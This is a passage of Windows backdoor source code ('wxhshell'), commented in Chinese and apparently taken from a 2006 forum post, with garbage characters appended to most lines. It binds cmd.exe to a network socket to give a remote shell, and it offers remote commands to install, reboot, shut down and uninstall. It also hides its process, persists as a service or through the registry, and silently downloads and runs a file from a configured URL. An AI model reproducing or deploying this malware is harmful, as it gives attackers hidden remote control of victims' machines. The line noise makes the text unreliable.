    switch(cmd[0]) { fv?vO2nj  
  ^Y"c1f2  
  // 帮助 `em}vdY  
  case '?': { a!ao{8#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "?E>rWz  
    break; jcNY W_G  
  } ~5e)h_y  
  // 安装 >q{E9.~b  
  case 'i': { AN ;SRl  
    if(Install()) Zi$v-b*<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0zR4Kj7EE  
    else EN^C'n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A*)G . o:  
    break; A8bDg:G1i  
    } ;E? Z<3{  
  // 卸载 ]=T`8)_r)  
  case 'r': { k.b->U  
    if(Uninstall()) DpG|Kl|d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vvEr}G  
    else w-9FF%@<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R~nbJx$  
    break; }F'B!8n  
    } |FK ##8  
  // 显示 wxhshell 所在路径 u;$g1 3  
  case 'p': { $6~ J#;  
    char svExeFile[MAX_PATH]; Y_qRW. k  
    strcpy(svExeFile,"\n\r"); Kfho:e,  
      strcat(svExeFile,ExeFile); e$krA!zN  
        send(wsh,svExeFile,strlen(svExeFile),0); 8sm8L\-  
    break; 8 /3`rEW  
    } 58FjzW  
  // 重启 ~s_n\r&23  
  case 'b': { @"[xX}xK;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >cm*_26;I  
    if(Boot(REBOOT)) %J`cYn#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ f`\TKlN  
    else { mx`C6G5  
    closesocket(wsh); 4c"x&x|  
    ExitThread(0); h`X>b/V  
    } ;{xk[f m=  
    break; N;4tvWI  
    } k)+2+hX&>  
  // 关机 q$>/~aVM  
  case 'd': { F2QX ^*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rVU::C+-  
    if(Boot(SHUTDOWN)) hdZ{8 rP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }*4K{<02  
    else { G,+-}~$_  
    closesocket(wsh); L`>uO1O  
    ExitThread(0); fI:j@Wug  
    } #3!l6]  
    break; 4L'dV  
    } [se J'Io  
  // 获取shell VFUuG3p)  
  case 's': { N 2|?I(\B  
    CmdShell(wsh); *_Y{wNF *  
    closesocket(wsh); *Mu X]JK  
    ExitThread(0); >>}4b2U  
    break; f|eUpf%)  
  } sdkKvo. y0  
  // 退出 !)1r{u  
  case 'x': { 7g'jg7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G&i<&.i  
    CloseIt(wsh); B&J;yla6`d  
    break; :G+8%pUX]  
    } fJ \bm  
  // 离开 $]eU'!2)  
  case 'q': { 6.X| . N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q/I':a[1  
    closesocket(wsh); 3C8cvi[IS  
    WSACleanup(); JO*}\Es  
    exit(1); ,Jqi J?,4C  
    break; n)]]g3y2  
        } <PCa37  
  } #SNwSx&  
  } oqu; D'8  
)n8(U%q$  
  // 提示信息 //9M~qHa"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M'Ec:p=X"  
} d@o1< Q  
  } `~${fs{-`/  
/yRP>CX~  
  return; >hg?!jMjrr  
} "P4#Q_  
\UKr|[P  
// shell模块句柄 Jzqv6A3G  
int CmdShell(SOCKET sock) *AEN  
{ QFn .<@  
STARTUPINFO si; R $vo  
ZeroMemory(&si,sizeof(si)); p#['CqP8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F(j vdq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .Sz<%d7XIQ  
PROCESS_INFORMATION ProcessInfo; xiv1y4(%  
char cmdline[]="cmd"; # tN#_<W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q>`|{m  
  return 0; 8t{-  
} 6pyLb3[e  
+Usy  
// 自身启动模式 kB41{Y -  
int StartFromService(void) Yo`#G-]  
{ lLq9)+HGN  
typedef struct 7m{YWR0  
{ Z_Tu* F  
  DWORD ExitStatus; gQXB=ywF  
  DWORD PebBaseAddress; #=>t6B4af  
  DWORD AffinityMask; XYeuYLut  
  DWORD BasePriority; PjL"7^Q&  
  ULONG UniqueProcessId; @qC](5|TQ  
  ULONG InheritedFromUniqueProcessId; ;xp^F KP  
}   PROCESS_BASIC_INFORMATION; +mc0:e{WF  
1trk  
PROCNTQSIP NtQueryInformationProcess; 4g^nhJP$  
$@H]0<3,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M oIq)5/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7 (}gs?&w  
T@V<J'  
  HANDLE             hProcess; "RZV v~BD  
  PROCESS_BASIC_INFORMATION pbi; >5,nB<  
F(?A7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d(LX;sq?  
  if(NULL == hInst ) return 0; vjfV??XSU  
FH"u9ygF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t)O8ON  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5 iz(R:P<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U _QCe+  
I/F3%'O  
  if (!NtQueryInformationProcess) return 0; dd$}FlT  
Vn4y^_H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =!@5!  
  if(!hProcess) return 0; !F@9xG  
5e> <i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !G`7T  
a!n |/9 6  
  CloseHandle(hProcess); a@>P?N~LA9  
-F&4<\=+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1 uKWvp0\  
if(hProcess==NULL) return 0; o;d><  
#!a}ZhIt  
HMODULE hMod; fu}ZOPu  
char procName[255]; }ioHSkCD  
unsigned long cbNeeded; 0vu$dxb[  
BQWe8D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .{pc5eUf  
:$=r^LSH  
  CloseHandle(hProcess);  4[\[Ho  
w_O3];  
if(strstr(procName,"services")) return 1; // 以服务启动 ynWF Y<VX  
ukZ>_ke`+  
  return 0; // 注册表启动 G-vBJlt=t  
} vMDX  
T B!z:n  
// 主模块 _[eAA4h  
int StartWxhshell(LPSTR lpCmdLine) ;r**`O  
{ ,-55*Rbi  
  SOCKET wsl; !|SVRaS  
BOOL val=TRUE; nhbCk6Y5LZ  
  int port=0; WyO7,Qr\   
  struct sockaddr_in door; a{oG[e   
38I.1p9  
  if(wscfg.ws_autoins) Install(); :P!"'&gCL  
7U:-zfq  
port=atoi(lpCmdLine); O@[jNs)].  
~Ogtgr  
if(port<=0) port=wscfg.ws_port; 3hN.`G-E  
^xBF$ua37)  
  WSADATA data; nDt1oM H  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %fv;C  
]\fXy?2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6 /A#P$G  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =\t%U5  
  door.sin_family = AF_INET; m1](f[$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); st|;] q9?  
  door.sin_port = htons(port); L<GF1I)  
~E]ct F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E{Gkq:  
closesocket(wsl); f&z@J,_=  
return 1; 6}Iu~| 5  
} Y? 1 3_~ K  
o$S/EZ  
  if(listen(wsl,2) == INVALID_SOCKET) { fj/sN HU  
closesocket(wsl); Myal3UF  
return 1; +{qX,  
} Q9Y$x{R&  
  Wxhshell(wsl); 7K*\F}2)q  
  WSACleanup(); , W w\C  
e58   
return 0; {iz,iv/U  
AK7IPftlH  
} KGVAP  
iyj,0T  
// 以NT服务方式启动 ?Re6oLm<B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J ejDF*Q  
{ ?u*gKI  
DWORD   status = 0; U',.'"m  
  DWORD   specificError = 0xfffffff; j@j%)CCM  
E[z8;A^:0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; B4/0t:^I  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ? iX1;c9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AGH7z  
  serviceStatus.dwWin32ExitCode     = 0; tHvc*D  
  serviceStatus.dwServiceSpecificExitCode = 0; HQpw2bdy  
  serviceStatus.dwCheckPoint       = 0; u:6PAVW?  
  serviceStatus.dwWaitHint       = 0; yMJY6$Ct  
k|ol+ 9Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cz2guUu  
  if (hServiceStatusHandle==0) return; ,b&-o?.{  
aMUy^>  
status = GetLastError(); 8 |@WuD  
  if (status!=NO_ERROR) %lr<;   
{ i?*_-NAm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I6k S1  
    serviceStatus.dwCheckPoint       = 0; lbRm(W(  
    serviceStatus.dwWaitHint       = 0; GaD]qeS-K  
    serviceStatus.dwWin32ExitCode     = status; `u./2]n  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ca&p;K9FR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #P)7b,3pe  
    return; gwf *M3(  
  } 1X5*V!u  
l> Mth+ ,b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @,Re<%\  
  serviceStatus.dwCheckPoint       = 0; &ye,A(4  
  serviceStatus.dwWaitHint       = 0; wRc=;f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Up(Jw-.  
} Rk1B \L|M  
^m3[mY [a  
// 处理NT服务事件,比如:启动、停止 #Cwzk{p(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P,(Tu.EPk  
{ l$i^e|*  
switch(fdwControl) Ab"mX0n  
{ DgJG: D{  
case SERVICE_CONTROL_STOP: B\/"$"  
  serviceStatus.dwWin32ExitCode = 0; 4\#!Gv-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8-A * Jc  
  serviceStatus.dwCheckPoint   = 0; r*n_#&-7  
  serviceStatus.dwWaitHint     = 0; &$'=SL(Z  
  { LC!ZeW35  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x vi&d1  
  } C*S%aR  
  return; 6{XdLI  
case SERVICE_CONTROL_PAUSE: l~Em2@c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]<V,5'xh  
  break; ,%|$# g 0  
case SERVICE_CONTROL_CONTINUE: r N"P IH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1j_x51p  
  break; rm-6Az V  
case SERVICE_CONTROL_INTERROGATE: ^G(/;c*=  
  break; Gk.;<d  
}; % d%KH9u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a^9-9*  
} aCL_cVOMR  
W?(^|<W  
// 标准应用程序主函数 Fu K(SP3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 33R_JM{  
{ /,>@+^1  
~-"<)XPe  
// 获取操作系统版本  >%~E <  
OsIsNt=GetOsVer(); +2}aCoL\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2MN AY%iT  
0(uNFyIG  
  // 从命令行安装 xk1pZQ8c  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?~mw  
1I'ep\`"X  
  // 下载执行文件 aS7[s6  
if(wscfg.ws_downexe) { Ly0U')D:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A.mIqu,:  
  WinExec(wscfg.ws_filenam,SW_HIDE); x8]9Xe:_>O  
} |_Y[93 1<  
&"90pBGK  
if(!OsIsNt) { W6Os|z9&|  
// 如果时win9x,隐藏进程并且设置为注册表启动 G8JwY\  
HideProc(); HxC_n h  
StartWxhshell(lpCmdLine); Vd8BQB,Q  
} \Z +O9T%  
else "hwG"3n1  
  if(StartFromService()) =Yxu {]G  
  // 以服务方式启动 ]t69a4&,#9  
  StartServiceCtrlDispatcher(DispatchTable); (Ea)`'/  
else (z[|\6O  
  // 普通方式启动 w85PRruW  
  StartWxhshell(lpCmdLine); bd n{Y  
y=L9E?  
return 0; H:~41f[  
}
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只看该作者 1 发表于: 2006-10-10
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